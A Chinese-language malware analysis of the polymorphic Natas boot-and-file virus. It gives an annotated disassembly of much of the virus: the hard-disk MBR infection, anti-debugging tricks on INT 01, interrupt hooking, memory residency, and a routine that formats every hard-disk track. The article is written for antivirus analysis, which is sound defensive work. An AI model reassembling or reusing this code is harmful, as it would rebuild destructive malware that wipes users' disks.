病毒的分析和防治----Natas篇

Natas 幽灵王病毒的分析


--------------------------------------------------------------------------------

病毒介绍:

  Natas 病毒,长度 4744 字节,有的地方有把它称为 4744 病毒,由于病毒是用了变型技术,本身的形态几乎有无穷多种,使杀毒软件总漏掉一两个,不知什么时候又冒了出来,所以又称它为‘幽灵王’。
  但变型加密技术并不可怕,我认为,查病毒并没有通用的方法,病毒用了多少的代码用于加密,杀毒程序也少不了这么多代码,编病毒的人用了多少时间调试,杀病毒的人只会用更多的时间去分析,从来没有通用的杀毒办法,只要以这种态度去分析病毒,杀毒程序就能把病毒杀完全。君不见,有些杀毒软件刚推出是号称开放式杀毒,永远不用升级,用户自己只要加加病毒库就行了,但到后来,升级升得比谁都快,出一个新病毒一升级,版本号都快把26个字母用完了。
  由于 Natas 病毒的长度长达 4744 字节,变型加密部分就用的近 2k,我一时没有时间写具体的杀毒细节,只能尽可能多注释一下。
 Natas 病毒是一种恶性病毒,它再启动时有1/512的机会要格式化硬盘。如果发现它,要注意马上杀,不然下一次启动你的硬盘资料可能就完蛋了。具体分析见注释。如果谁有杀毒原程序愿意公布,可以发一份给我。

病毒分析:

9E80:0000 0E             PUSH        CS
9E80:0001 1F             POP        DS
9E80:0002 E89400         CALL        0099                 ;保存 INT 13/15/21/40
9E80:0005 A27304         MOV        [0473],AL         ;AL = 0
9E80 A21114         MOV        [1411],AL
9E80:000B 8EC0           MOV        ES,AX
9E80:000D 5F             POP        DI
9E80:000E 83EF03         SUB        DI,+03
9E80:0011 50             PUSH        AX
9E80:0012 57             PUSH        DI                 ;设置执行原引导记录地址
9E80:0013 BE4700         MOV        SI,0047         ;解密并恢复原引导区
9E80:0016 E81D00         CALL        0036
9E80:0019 B013           MOV        AL,13
9E80:001B BA7204         MOV        DX,0472         ;设置新 INT 13 => CS:0472
9E80:001E E8B300         CALL        00D4
9E80:0021 E8EF00         CALL        0113                 ;传染硬盘引导区
9E80:0024 84168E00       TEST        [008E],DL
9E80:0028 740B           JZ        0035
9E80:002A B8FF01         MOV        AX,01FF
9E80:002D E83611         CALL        1166                 ;产生随机数 < 512
9E80:0030 7503           JNZ        0035                 ;如果为 0 转格式化硬盘
9E80:0032 E91304         JMP        0448                 ;即每次启动有 1/512 的机会
9E80:0035 CB             RETF                         ;格式化硬盘
;===========================================================================
;加密/解密原引导记录
9E80:0036 8A64FF         MOV        AH,[SI-01]
9E80:0039 B92900         MOV        CX,0029
9E80:003C FC             CLD         
9E80:003D AC             LODSB         
9E80:003E 32C4           XOR        AL,AH
9E80:0040 D0C4           ROL        AH,1
9E80:0042 AA             STOSB         
9E80:0043 E2F8           LOOP        003D
9E80:0045 C3             RET         
9E80:0046                    07 FD-3D DC B6 A0 5C C1 FF 11        .}=\6 \A..
9E80:0050  09 A7 40 70 D6 04 B4 19-58 0A 6B CF DE BD 3A 0C  .'@pV.4.X.kO^=:.
9E80:0060  0E E0 CB D4 E6 DE 45 42-F0 13 B3 7E F8 BD 0B 4A  .`KTf^EBp.3~x=.J
;==========================================================================
;        新引导区入口程序
;==========================================================================
9E80:0070 E80000         CALL        0073                 ;重定位
9E80:0073 BF4000         MOV        DI,0040
9E80:0076 8EDF           MOV        DS,DI                 ;0040:0013
9E80:0078 836DD306       SUB        Word Ptr [DI-2D],+06         ;内存减 6K
9E80 8B45D3         MOV        AX,[DI-2D]
9E80:007F B10A           MOV        CL,0A
9E80:0081 D3C8           ROR        AX,CL
9E80:0083 8EC0           MOV        ES,AX                 ;高端段地址
9E80:0085 B80902         MOV        AX,0209         ;读出病毒 9 扇区
9E80:0088 33DB           XOR        BX,BX
9E80:008A B9014F         MOV        CX,4F01   ===>        ;CX, DX 值由 0166 设置
9E80:008D BA0001         MOV        DX,0100
9E80:0090 CD13           INT        13
9E80:0092 7203           JB        0097
9E80:0094 06             PUSH        ES                 ;转 0000 执行
9E80:0095 53             PUSH        BX
9E80:0096 CB             RETF         
9E80:0097 CD18           INT        18
;===========================================================================
;保存中断开始 5 字节
;INT 13 ===> 13EB
;INT 15 ===> 13F3
;INT 40 ===> 13F7
;INT 21 ===> 13FB
9E80:0099 1E             PUSH        DS
9E80:009A 33C0           XOR        AX,AX
9E80:009C 8ED8           MOV        DS,AX
9E80:009E BE4C00         MOV        SI,004C         ;中断 13
9E80:00A1 BFEB13         MOV        DI,13EB
9E80:00A4 56             PUSH        SI
9E80:00A5 56             PUSH        SI
9E80:00A6 A5             MOVSW         
9E80:00A7 A5             MOVSW         
9E80:00A8 5E             POP        SI
9E80:00A9 A5             MOVSW         
9E80:00AA A5             MOVSW         
9E80:00AB BE5400         MOV        SI,0054         ;中断 15
9E80:00AE A5             MOVSW         
9E80:00AF A5             MOVSW         
9E80:00B0 5E             POP        SI
9E80:00B1 38067504       CMP        [0475],AL
9E80:00B5 7403           JZ        00BA
9E80:00B7 BE0001         MOV        SI,0100
9E80:00BA A5             MOVSW         
9E80:00BB A5             MOVSW         
9E80:00BC BE8400         MOV        SI,0084         ;中断 21
9E80:00BF A5             MOVSW         
9E80:00C0 A5             MOVSW         
9E80:00C1 1F             POP        DS
9E80:00C2 C3             RET         
;=========================================================================
;取中断向量于 ES:BX, 入口 AL = 中断向量号
9E80:00C3 50             PUSH        AX
9E80:00C4 32E4           XOR        AH,AH
9E80:00C6 D1C0           ROL        AX,1
9E80:00C8 D1C0           ROL        AX,1
9E80:00CA 93             XCHG        AX,BX
9E80:00CB 33C0           XOR        AX,AX
9E80:00CD 8EC0           MOV        ES,AX
9E80:00CF 26C41F         LES        BX,ES:[BX]
9E80:00D2 58             POP        AX
9E80:00D3 C3             RET         
;=========================================================================
;设置中断向量到 DS:DX, 入口 AL = 中断向量号
9E80:00D4 50             PUSH        AX
9E80:00D5 53             PUSH        BX
9E80:00D6 1E             PUSH        DS
9E80:00D7 32E4           XOR        AH,AH
9E80:00D9 D1C0           ROL        AX,1
9E80:00DB D1C0           ROL        AX,1
9E80:00DD 93             XCHG        AX,BX
9E80:00DE 33C0           XOR        AX,AX
9E80:00E0 1E             PUSH        DS
9E80:00E1 8ED8           MOV        DS,AX
9E80:00E3 8917           MOV        [BX],DX
9E80 8F4702         POP        [BX+02]
9E80:00E8 1F             POP        DS
9E80:00E9 5B             POP        BX
9E80:00EA 58             POP        AX
9E80:00EB C3             RET         
;========================================================================
;所有寄存器进堆栈
9E80:00EC 2E8F060214     POP        CS:[1402]
9E80:00F1 9C             PUSHF         
9E80:00F2 50             PUSH        AX
9E80:00F3 53             PUSH        BX
9E80:00F4 51             PUSH        CX
9E80:00F5 52             PUSH        DX
9E80:00F6 55             PUSH        BP
9E80:00F7 56             PUSH        SI
9E80:00F8 57             PUSH        DI
9E80:00F9 1E             PUSH        DS
9E80:00FA 06             PUSH        ES
9E80:00FB 8BEC           MOV        BP,SP
9E80:00FD 2EFF260214     JMP        CS:[1402]
;=========================================================================
;所有寄存器出堆栈
9E80 2E8F060214     POP        CS:[1402]
9E80:0107 07             POP        ES
9E80:0108 1F             POP        DS
9E80:0109 5F             POP        DI
9E80:010A 5E             POP        SI
9E80:010B 5D             POP        BP
9E80:010C 5A             POP        DX
9E80:010D 59             POP        CX
9E80:010E 5B             POP        BX
9E80:010F 58             POP        AX
9E80:0110 9D             POPF         
9E80:0111 EBEA           JMP        00FD
;==========================================================================
;文件执行初始化及启动时传染硬盘子程序
;由 0021 043C 调用
9E80:0113 0E             PUSH        CS
9E80:0114 0E             PUSH        CS
9E80:0115 07             POP        ES
9E80:0116 1F             POP        DS
9E80:0117 B80102         MOV        AX,0201
9E80:011A BB1314         MOV        BX,1413
9E80:011D B90100         MOV        CX,0001
9E80:0120 BA8000         MOV        DX,0080
9E80:0123 E89509         CALL        0ABB                 ;读硬盘主引导区
9E80:0126 7230           JB        0158
9E80:0128 38AFBF01       CMP        [BX+01BF],CH         ;无保留磁道不传染
9E80:012C 742A           JZ        0158
9E80:012E 8B8FC401       MOV        CX,[BX+01C4]         ;取保留磁道扇区数
9E80:0132 83E13F         AND        CX,+3F                 ;屏蔽 CX 高位 (柱面高位)
9E80:0135 83E909         SUB        CX,+09                 ;到数 9 扇区
9E80:0138 761E           JBE        0158                 ;扇区数小于 9 不传染
9E80:013A 80F901         CMP        CL,01
9E80:013D 7619           JBE        0158
9E80:013F E81700         CALL        0159                 ;判断是否已传染
9E80:0142 7214           JB        0158                 ;已传染退出
9E80:0144 53             PUSH        BX
9E80:0145 B80903         MOV        AX,0309         ;写病毒到保留扇区
9E80:0148 33DB           XOR        BX,BX
9E80:014A E86E09         CALL        0ABB
9E80:014D 5B             POP        BX
9E80:014E 7208           JB        0158
9E80:0150 B80103         MOV        AX,0301         ;写新引导记录
9E80:0153 B101           MOV        CL,01                 ;CS:0000
9E80:0155 E86309         CALL        0ABB
9E80:0158 C3             RET         
;==========================================================================
;判断引导记录是否已传染及准备新的引导记录
9E80:0159 51             PUSH        CX
9E80:015A 52             PUSH        DX
9E80:015B 81BFFE0155AA   CMP        Word Ptr [BX+01FE],AA55
9E80:0161 7525           JNZ        0188
9E80:0163 BF4700         MOV        DI,0047
9E80:0166 894D44         MOV        [DI+44],CX         ;保存病毒传染位置
9E80:0169 80E280         AND        DL,80
9E80:016C 895547         MOV        [DI+47],DX
9E80:016F E81A00         CALL        018C                 ;判断是否传染 (返回 SI 地址)
9E80:0172 7414           JZ        0188                 ;已传染转 0188 退出
9E80:0174 E8EC0F         CALL        1163                 ;产生随机数
9E80:0177 8865FF         MOV        [DI-01],AH         ;保存于 0046
9E80:017A 56             PUSH        SI
9E80:017B E8BBFE         CALL        0039                 ;加密原引导记录
9E80:017E 8BF7           MOV        SI,DI                 ;SI = 0070, 病毒入口
9E80:0180 5F             POP        DI                 ;DI = 原引导记录 JMP 入口
9E80:0181 B92900         MOV        CX,0029         ;移动病毒到原引导记录
9E80:0184 F3             REPZ       
9E80:0185 A4             MOVSB         
9E80:0186 F8             CLC         
9E80:0187 B0F9           MOV        AL,F9
9E80:0189 5A             POP        DX
9E80:018A 59             POP        CX
9E80:018B C3             RET         
;==========================================================================
;返回 JMP 后的指令地址于 SI
;判断 JMP 后指令是否为 0070 处指令 (是否传染)
9E80:018C 8BF3           MOV        SI,BX
9E80:018E FC             CLD         
9E80:018F AC             LODSB         
9E80:0190 50             PUSH        AX
9E80:0191 AD             LODSW         
9E80:0192 91             XCHG        AX,CX                 ;AL/CX 为引导区前 3 字节
9E80:0193 58             POP        AX
9E80:0194 3CEB           CMP        AL,EB                 ;JMP XXXX
9E80:0196 7505           JNZ        019D
9E80:0198 32ED           XOR        CH,CH
9E80:019A 4E             DEC        SI
9E80:019B EB08           JMP        01A5
9E80:019D 3CE9           CMP        AL,E9                 ;JMP XXXX
9E80:019F 7404           JZ        01A5
9E80:01A1 33C9           XOR        CX,CX
9E80:01A3 8BF3           MOV        SI,BX
9E80:01A5 03F1           ADD        SI,CX                 ;SI 为引导记录开始指令
9E80:01A7 81FEE515       CMP        SI,15E5         ;15E5 - 1413 = 01D2
9E80:01AB 73F4           JNB        01A1                 ; > 01D2 退出
9E80:01AD 813CE800       CMP        Word Ptr [SI],00E8
9E80:01B1 7505           JNZ        01B8                 ;判前 2 句指令是否
9E80:01B3 817C0200BF     CMP        Word Ptr [SI+02],BF00         ;CALL next/MOV DI,xxxx
9E80:01B8 C3             RET                         ;(见 0070)
;=========================================================================
;判断是否有跟踪
;如果有,返回 BP <> 0
9E80:01B9 33C0           XOR        AX,AX
9E80:01BB 9C             PUSHF         
9E80:01BC 5A             POP        DX                 ;取当前标志
9E80:01BD 80E6FE         AND        DH,FE
9E80:01C0 52             PUSH        DX
9E80:01C1 52             PUSH        DX
9E80:01C2 9D             POPF         
9E80:01C3 16             PUSH        SS
9E80:01C4 17             POP        SS
9E80:01C5 9C             PUSHF         
9E80:01C6 5A             POP        DX
9E80:01C7 F6C601         TEST        DH,01
9E80:01CA 5A             POP        DX
9E80:01CB 7415           JZ        01E2                 ;无跟踪转 01E2
9E80:01CD 06             PUSH        ES
9E80:01CE 33ED           XOR        BP,BP
9E80:01D0 8CD1           MOV        CX,SS
9E80:01D2 FA             CLI         
9E80:01D3 8ED5           MOV        SS,BP
9E80:01D5 C47E04         LES        DI,[BP+04]         ;有跟踪取 INT 01 地址
9E80:01D8 8ED1           MOV        SS,CX
9E80:01DA FB             STI         
9E80:01DB B0CF           MOV        AL,CF
9E80:01DD FC             CLD         
9E80:01DE AA             STOSB                         ;将 INT 01 设置为 IRET
9E80:01DF 07             POP        ES
9E80:01E0 52             PUSH        DX
9E80:01E1 9D             POPF         
9E80:01E2 95             XCHG        AX,BP                 ;无跟踪 AX = 0
9E80:01E3 C3             RET         
;========================================================================
;保存或恢复 INT 13 中断前 5 字节
9E80:01E4 E805FF         CALL        00EC
9E80:01E7 BED913         MOV        SI,13D9
9E80:01EA 2EC47C16       LES        DI,CS:[SI+16]
9E80:01EE EB0A           JMP        01FA
;========================================================================
;保存或恢复 INT 21 中断前 5 字节
9E80:01F0 E8F9FE         CALL        00EC
9E80:01F3 BEDE13         MOV        SI,13DE
9E80:01F6 2EC47C1D       LES        DI,CS:[SI+1D]
9E80:01FA 0E             PUSH        CS
9E80:01FB 1F             POP        DS
9E80:01FC B90500         MOV        CX,0005
9E80:01FF 382E1114       CMP        [1411],CH         ;[1411] 引导区引入时为 0
9E80:0203 740B           JZ        0210
9E80:0205 FC             CLD         
9E80:0206 AC             LODSB         
9E80:0207 268605         XCHG        AL,ES:[DI]
9E80 8844FF         MOV        [SI-01],AL
9E80:020D 47             INC        DI
9E80:020E E2F6           LOOP        0206
9E80:0210 E8EFFE         CALL        0102
9E80:0213 C3             RET         
;=========================================================================
;由初始化程序调用
9E80:0214 E882FE         CALL        0099                 ;保存 INT 13/15/21/40
9E80:0217 B452           MOV        AH,52                ;中断前 5 字节
9E80:0219 CD21           INT        21
9E80:021B 268B47FE       MOV        AX,ES:[BX-02]         ;AX = 第一块 MCB 地址
9E80 A3AD02         MOV        [02AD],AX
9E80:0222 B001           MOV        AL,01                 ;取 INT 01 中断地址
9E80:0224 E89CFE         CALL        00C3
9E80:0227 53             PUSH        BX
9E80:0228 06             PUSH        ES
9E80:0229 BA7702         MOV        DX,0277         ;设置 INT 01 中断地址
9E80:022C E8A5FE         CALL        00D4                 ;到 CS:0277
9E80:022F 9C             PUSHF         
9E80:0230 5E             POP        SI
9E80:0231 BF9702         MOV        DI,0297
9E80:0234 C60503         MOV        Byte Ptr [DI],03
9E80:0237 B401           MOV        AH,01
9E80:0239 E83400         CALL        0270                 ;激活 INT 01
9E80:023C E87C08         CALL        0ABB                 ;执行 INT 13,找 BIOS INT 13地址
;本句功能为先执行 029B, 再执行 02C8,在 02C8 中找出
;BIOS 的 INT 13 地址, 即段地址高位在 C8 到 F4 之间
;找到以后转 02B4, 将 INT 13 地址保存在 13EB 中
9E80:023F C60526         MOV        Byte Ptr [DI],26
9E80:0242 B4C0           MOV        AH,C0
9E80:0244 E82900         CALL        0270                 ;激活 INT 01
9E80:0247 9C             PUSHF                         ;调用 INT 15,找 BIOS INT 15地址
9E80:0248 FF1EF313       CALL        FAR [13F3]
;本段功能为先执行 02BE, 同上找出 BIOS INT 15 地址
;保存于 13F3 中
9E80 C60513         MOV        Byte Ptr [DI],13
9E80:024F B430           MOV        AH,30
9E80:0251 E81C00         CALL        0270                 ;激活 INT 01
9E80:0254 E86E08         CALL        0AC5                 ;调用 INT 21
;本段功能为找出 MSDOS 中 INT 21 的地址, 先执行
;02AB, 判断执行段地址小于第一块 MCB 地址, 即为
;INT 21 的地址, 找到后保存于 13FB 中
9E80:0257 C6052B         MOV        Byte Ptr [DI],2B
9E80:025A B401           MOV        AH,01
9E80:025C E81100         CALL        0270
9E80:025F E86908         CALL        0ACB
;本段功能为找出 BIOS INT 40 地址,具体为先执行 02C3
;再同 INT 13 之执行, 找到 INT 40 地址保存于 13F7 中
9E80:0262 81E6FFFE       AND        SI,FEFF
9E80:0266 56             PUSH        SI
9E80:0267 9D             POPF                        ;停止 INT 01
9E80:0268 1F             POP        DS                 ;恢复原 INT 01 地址
9E80:0269 5A             POP        DX
9E80:026A B001           MOV        AL,01
9E80:026C E865FE         CALL        00D4
9E80:026F C3             RET         
9E80:0270 81CE0001       OR        SI,0100
9E80:0274 56             PUSH        SI
9E80:0275 9D             POPF         
9E80:0276 C3             RET         
;=========================================================================
;        病毒新 INT 01
;        这是一个多个地方调用的子程序, 先由调用者设置 0296 出 JNZ 指令
;        跳转的地址, 再设置并激活 INT 01
;        在 0099 中用来找出初始 INT 13/15/21/40 地址
;        在 INT 21 结束时用来重新截取 INT 21
9E80:0277 1E             PUSH        DS
9E80:0278 0E             PUSH        CS
9E80:0279 1F             POP        DS
9E80:027A 893E6F03       MOV        [036F],DI         ;DI = 13E3
9E80:027E BF6303         MOV        DI,0363
9E80:0281 8905           MOV        [DI],AX         ;保存返回时的
9E80 895D03         MOV        [DI+03],BX         ;AX 到 DX 值
9E80:0286 894D06         MOV        [DI+06],CX
9E80 895509         MOV        [DI+09],DX
9E80:028C 8F45FB         POP        [DI-05]         ;保存返回时的 DS
9E80:028F 5B             POP        BX                 ;调用 IP (INT 01)
9E80:0290 59             POP        CX                 ;调用 CS
9E80:0291 5A             POP        DX                 ;调用 FLAG
9E80:0292 8CC8           MOV        AX,CS
9E80:0294 3BC1           CMP        AX,CX                 ;是否调用者在病毒内
9E80:0296 752B           JNZ        02C3                 ;不在病毒内开始执行 INT 01 功能
9E80:0298 E9BF00         JMP        035A
;以下由 022F 处执行, 找 MSDOS INT 13 地址
9E80:029B 3B0EAD02       CMP        CX,[02AD]         ;02AD 为第一个 MCB 地址
9E80:029F 734D           JNB        02EE                 ;不在 MSDOS 内返回
9E80:02A1 BFEF13         MOV        DI,13EF
9E80:02A4 C606970230     MOV        Byte Ptr [0297],30        ;下一次 0296
9E80:02A9 EB0C           JMP        02B7                 ;处为 JNZ 02C8
;以下由 0257 处执行, 找 INT 21 地址
9E80:02AB 81F9A30B       CMP        CX,0BA3  ===>        ;本句地址由 021F 设置
9E80:02AF 733D           JNB        02EE                 ;为第一块 MCB 地址
9E80:02B1 BFFB13         MOV        DI,13FB
9E80:02B4 80E6FE         AND        DH,FE                 ;保存找到的地址
9E80:02B7 891D           MOV        [DI],BX         ;并停止 INT 01
9E80 894D02         MOV        [DI+02],CX
9E80:02BC EB30           JMP        02EE
;以下由 024C 处执行, 找 INT 15 地址
9E80:02BE BFF313         MOV        DI,13F3
9E80:02C1 EB08           JMP        02CB
;以下由 0262 处执行, 找 INT 40 地址
9E80:02C3 BFF713         MOV        DI,13F7
9E80:02C6 EB03           JMP        02CB
9E80:02C8 BFEB13         MOV        DI,13EB         ;从 02A9 转来
9E80:02CB 80FDC8         CMP        CH,C8                 ;段地址 < C800 退出
9E80:02CE 721E           JB        02EE
9E80:02D0 80FDF4         CMP        CH,F4                 ;段地址 > F400 退出
9E80:02D3 72DF           JB        02B4                 ;段地址指向 BIOS 转 02B4
9E80:02D5 EB17           JMP        02EE                 ;保存及停止 INT 01
;INT 01 在 INT 21 结束时执行转此处
9E80:02D7 FE0E1214       DEC        Byte Ptr [1412]
9E80:02DB 7511           JNZ        02EE
9E80:02DD 52             PUSH        DX                 ;到 INT 21 第一句
9E80:02DE B001           MOV        AL,01                 ;恢复 INT 01 中断
9E80:02E0 C516E313       LDS        DX,[13E3]
9E80:02E4 E8EDFD         CALL        00D4                 ;
9E80:02E7 E806FF         CALL        01F0                 ;截取 INT 21 中断
9E80:02EA 5A             POP        DX
9E80:02EB 80E6FE         AND        DH,FE
9E80:02EE F6C601         TEST        DH,01                 ;标志复位转 035A 退出
9E80:02F1 7467           JZ        035A
9E80:02F3 8ED9           MOV        DS,CX
9E80:02F5 33FF           XOR        DI,DI
9E80:02F7 8B01           MOV        AX,[BX+DI]
9E80:02F9 3CF0           CMP        AL,F0
9E80:02FB 7412           JZ        030F
9E80:02FD 3CF2           CMP        AL,F2
9E80:02FF 740E           JZ        030F
9E80:0301 3CF3           CMP        AL,F3
9E80:0303 740A           JZ        030F
9E80:0305 3C9C           CMP        AL,9C
9E80:0307 7309           JNB        0312
9E80:0309 24E7           AND        AL,E7
9E80:030B 3C26           CMP        AL,26
9E80:030D 754B           JNZ        035A
9E80:030F 47             INC        DI
9E80:0310 EBE5           JMP        02F7
9E80:0312 750C           JNZ        0320
9E80:0314 80E6FE         AND        DH,FE
9E80:0317 52             PUSH        DX
9E80:0318 8D5901         LEA        BX,[BX+DI+01]
9E80:031B 80CE01         OR        DH,01
9E80:031E EBD3           JMP        02F3
9E80:0320 3C9D           CMP        AL,9D
9E80:0322 7503           JNZ        0327
9E80:0324 5A             POP        DX
9E80:0325 EBF1           JMP        0318
9E80:0327 3CCF           CMP        AL,CF
9E80:0329 7505           JNZ        0330
9E80:032B 5B             POP        BX
9E80:032C 59             POP        CX
9E80:032D 5A             POP        DX
9E80:032E EBEB           JMP        031B
9E80:0330 3CCD           CMP        AL,CD
9E80:0332 7412           JZ        0346
9E80:0334 3CCC           CMP        AL,CC
9E80:0336 B403           MOV        AH,03
9E80:0338 740B           JZ        0345
9E80:033A 3CCE           CMP        AL,CE
9E80:033C B404           MOV        AH,04
9E80:033E 751A           JNZ        035A
9E80:0340 F6C608         TEST        DH,08
9E80:0343 7415           JZ        035A
9E80:0345 4B             DEC        BX
9E80:0346 80E6FE         AND        DH,FE
9E80:0349 8D5902         LEA        BX,[BX+DI+02]
9E80:034C 52             PUSH        DX
9E80:034D 51             PUSH        CX
9E80:034E 53             PUSH        BX
9E80:034F 8AC4           MOV        AL,AH
9E80:0351 06             PUSH        ES
9E80:0352 E86EFD         CALL        00C3
9E80:0355 8CC1           MOV        CX,ES
9E80:0357 07             POP        ES
9E80:0358 EBC1           JMP        031B
9E80:035A 52             PUSH        DX
9E80:035B 51             PUSH        CX
9E80:035C 53             PUSH        BX
9E80:035D B85E9E         MOV        AX,9E5E
9E80:0360 8ED8           MOV        DS,AX
9E80:0362 B80601         MOV        AX,0106
9E80:0365 BB00FF         MOV        BX,FF00
9E80:0368 B90000         MOV        CX,0000
9E80:036B BA7702         MOV        DX,0277
9E80:036E BF9702         MOV        DI,0297
9E80:0371 CF             IRET         
;=========================================================================
;        可执行文件入口
;=========================================================================
9E80:0372 1E             PUSH        DS
9E80:0373 E80000         CALL        0376                 ;重定位
9E80:0376 5E             POP        SI
9E80:0377 81EE7603       SUB        SI,0376
9E80:037B E83BFE         CALL        01B9                 ;检测是否有跟踪
9E80:037E 0BED           OR        BP,BP                 ;有跟踪转 038D
9E80:0380 750B           JNZ        038D
9E80:0382 B430           MOV        AH,30
9E80:0384 BB9AF9         MOV        BX,F99A
9E80:0387 CD21           INT        21
9E80:0389 3C03           CMP        AL,03                 ;内存驻留检测
9E80:038B 7230           JB        03BD                 ;已驻留转 03BD
9E80:038D 8CC0           MOV        AX,ES
9E80:038F 48             DEC        AX
9E80:0390 8ED8           MOV        DS,AX
9E80:0392 33FF           XOR        DI,DI
9E80:0394 0BED           OR        BP,BP                 ;有跟踪转 039D
9E80:0396 7505           JNZ        039D
9E80:0398 803D5A         CMP        Byte Ptr [DI],5A        ;非最后一块 MCB
9E80:039B 7520           JNZ        03BD                 ;转执行原程序
9E80:039D B86201         MOV        AX,0162
9E80:03A0 294503         SUB        [DI+03],AX         ;内存减 1620 (5664)字节
9E80 294512         SUB        [DI+12],AX
9E80:03A6 8E4512         MOV        ES,[DI+12]
9E80:03A9 8EDF           MOV        DS,DI                 ;BIOS 内存减 6K
9E80:03AB 832E130406     SUB        Word Ptr [0413],+06
9E80:03B0 B9D913         MOV        CX,13D9         ;将病毒 13D9 字节移动到高端
9E80:03B3 FC             CLD         
9E80:03B4 F3             REPZ       
9E80:03B5 2EA4           MOVSB        CS:
9E80:03B7 B8FA03         MOV        AX,03FA         ;转高端 03FA 继续执行
9E80:03BA 06             PUSH        ES
9E80:03BB 50             PUSH        AX
9E80:03BC CB             RETF         
;=========================================================================
9E80:03BD 0E             PUSH        CS                 ;执行原程序
9E80:03BE 1F             POP        DS
9E80:03BF 07             POP        ES
9E80:03C0 8DB47012       LEA        SI,[SI+1270]         ;原文件头位置
9E80 8B04           MOV        AX,[SI]
9E80:03C6 3D4D5A         CMP        AX,5A4D         ;.EXE 文件转 03DF
9E80:03C9 7414           JZ        03DF
9E80:03CB 3D5A4D         CMP        AX,4D5A
9E80:03CE 740F           JZ        03DF
9E80:03D0 B90C00         MOV        CX,000C         ;.COM 文件恢复原文件头 000C字
9E80:03D3 BF0001         MOV        DI,0100         ;原文件头 ==> CS:0100
9E80:03D6 06             PUSH        ES
9E80:03D7 57             PUSH        DI
9E80:03D8 FC             CLD         
9E80:03D9 F3             REPZ       
9E80:03DA A5             MOVSW         
9E80:03DB 06             PUSH        ES
9E80:03DC 1F             POP        DS
9E80:03DD 91             XCHG        AX,CX                 ;执行原 .COM 文件
9E80:03DE CB             RETF         
9E80:03DF 8CC0           MOV        AX,ES                 ;.EXE 文件重定位
9E80:03E1 051000         ADD        AX,0010
9E80:03E4 014416         ADD        [SI+16],AX
9E80 03440E         ADD        AX,[SI+0E]
9E80:03EA 06             PUSH        ES
9E80:03EB 1F             POP        DS
9E80:03EC FA             CLI         
9E80:03ED 8ED0           MOV        SS,AX
9E80:03EF 2E8B6410       MOV        SP,CS:[SI+10]
9E80:03F3 33C0           XOR        AX,AX
9E80:03F5 FB             STI         
9E80:03F6 2EFF6C14       JMP        FAR CS:[SI+14]         ;执行原 .EXE 文件
;=========================================================================
;文件初始化时由低段跳转过来
9E80:03FA 0E             PUSH        CS
9E80:03FB 1F             POP        DS                 ;DI = 13DA
9E80:03FC C6453801       MOV        Byte Ptr [DI+38],01         ;DS:[1412]
9E80:0400 B80200         MOV        AX,0002
9E80:0403 E8600D         CALL        1166                 ;产生随机数
9E80:0406 A23D0A         MOV        [0A3D],AL
9E80 C60673042E     MOV        Byte Ptr [0473],2E
9E80:040E B0EA           MOV        AL,EA
9E80:0410 AA             STOSB         
9E80:0411 884504         MOV        [DI+04],AL         ;新 INT 13 中断前 5 字节
9E80:0414 B87204         MOV        AX,0472         ;JMP CS:0472
9E80:0417 AB             STOSW         
9E80:0418 C745037305     MOV        Word Ptr [DI+03],0573
9E80 8C0D           MOV        [DI],CS         ;新 INT 21 中断前 5 字节
9E80:041F 8C4D05         MOV        [DI+05],CS         ;JMP CS:0573
9E80:0422 57             PUSH        DI
9E80:0423 E8EEFD         CALL        0214                ;取 INT 13/15/21/40 地址
9E80:0426 5F             POP        DI
9E80:0427 0E             PUSH        CS
9E80:0428 1F             POP        DS
9E80:0429 A1AD02         MOV        AX,[02AD]
9E80 394515         CMP        [DI+15],AX         ;[13EF]
9E80:042F 770B           JA        043C
9E80:0431 394521         CMP        [DI+21],AX         ;[13FB]
9E80:0434 7706           JA        043C                 ;未找到 MSDOS INT 21 入口不截取
9E80:0436 E8ABFD         CALL        01E4                 ;截取 INT 13
9E80:0439 E8B4FD         CALL        01F0                 ;截取 INT 21
9E80:043C E8D4FC         CALL        0113                 ;传染硬盘主引导区
9E80:043F 0BED           OR        BP,BP
9E80:0441 8BF5           MOV        SI,BP
9E80:0443 7503           JNZ        0448                 ;有跟踪转 0448
9E80:0445 E975FF         JMP        03BD                 ;无跟踪转 03BD 执行原程序
9E80:0448 33DB           XOR        BX,BX
9E80:044A 8EC3           MOV        ES,BX
9E80:044C B280           MOV        DL,80
9E80:044E 32F6           XOR        DH,DH
9E80:0450 33C9           XOR        CX,CX                 ;如果有跟踪
9E80:0452 B80105         MOV        AX,0501         ;格式化硬盘
9E80:0455 E85E06         CALL        0AB6
9E80:0458 80E1C0         AND        CL,C0
9E80:045B FEC5           INC        CH
9E80:045D 75F3           JNZ        0452
9E80:045F 80C140         ADD        CL,40
9E80:0462 75EE           JNZ        0452
9E80:0464 32E4           XOR        AH,AH                 ;磁盘复位
9E80:0466 CD13           INT        13
9E80:0468 FEC6           INC        DH
9E80:046A 80FE10         CMP        DH,10
9E80:046D 72E1           JB        0450
9E80:046F 42             INC        DX                 ;转格式化第二个硬盘
9E80:0470 EBDC           JMP        044E
;=========================================================================
;        病毒新 INT 13H 中断服务程序
;=========================================================================
9E80:0472 EB2E           JMP        04A2   ====>        ;本句指令引导区引入时为 NOP
9E80:0474 E875FC         CALL        00EC                 ;本段程序为在引导区启动
9E80:0477 B021           MOV        AL,21                ;时截取 INT 21
9E80:0479 E847FC         CALL        00C3                 ;取 INT 21 中断向量于 ES:BX
9E80:047C 8CC0           MOV        AX,ES
9E80:047E 0E             PUSH        CS
9E80:047F 0E             PUSH        CS
9E80:0480 1F             POP        DS
9E80:0481 07             POP        ES
9E80:0482 3D0008         CMP        AX,0800         ;INT 21 段地址 > 0800
9E80:0485 7718           JA        049F                 ;表示尚未设置
9E80:0487 BFFD13         MOV        DI,13FD
9E80:048A FD             STD         
9E80:048B 8705           XCHG        AX,[DI]
9E80:048D AF             SCASW         
9E80:048E 740F           JZ        049F                 ;等于启动初始值退出
9E80:0490 891D           MOV        [DI],BX         ;保存新地址
9E80:0492 B021           MOV        AL,21
9E80:0494 BA7305         MOV        DX,0573         ;设置新 INT 21 到 CS:0573
9E80:0497 E83AFC         CALL        00D4
9E80:049A C60673042E     MOV        Byte Ptr [0473],2E;将 0472 处改为 JMP 04A2
9E80:049F E860FC         CALL        0102                 ;POPA
9E80:04A2 80FC02         CMP        AH,02
9E80:04A5 7509           JNZ        04B0
9E80:04A7 83F901         CMP        CX,+01
9E80:04AA 7504           JNZ        04B0
9E80:04AC 0AF6           OR        DH,DH                 ;读引导区转 04B6
9E80:04AE 7406           JZ        04B6
9E80:04B0 E8F605         CALL        0AA9                 ;执行原 INT 13H
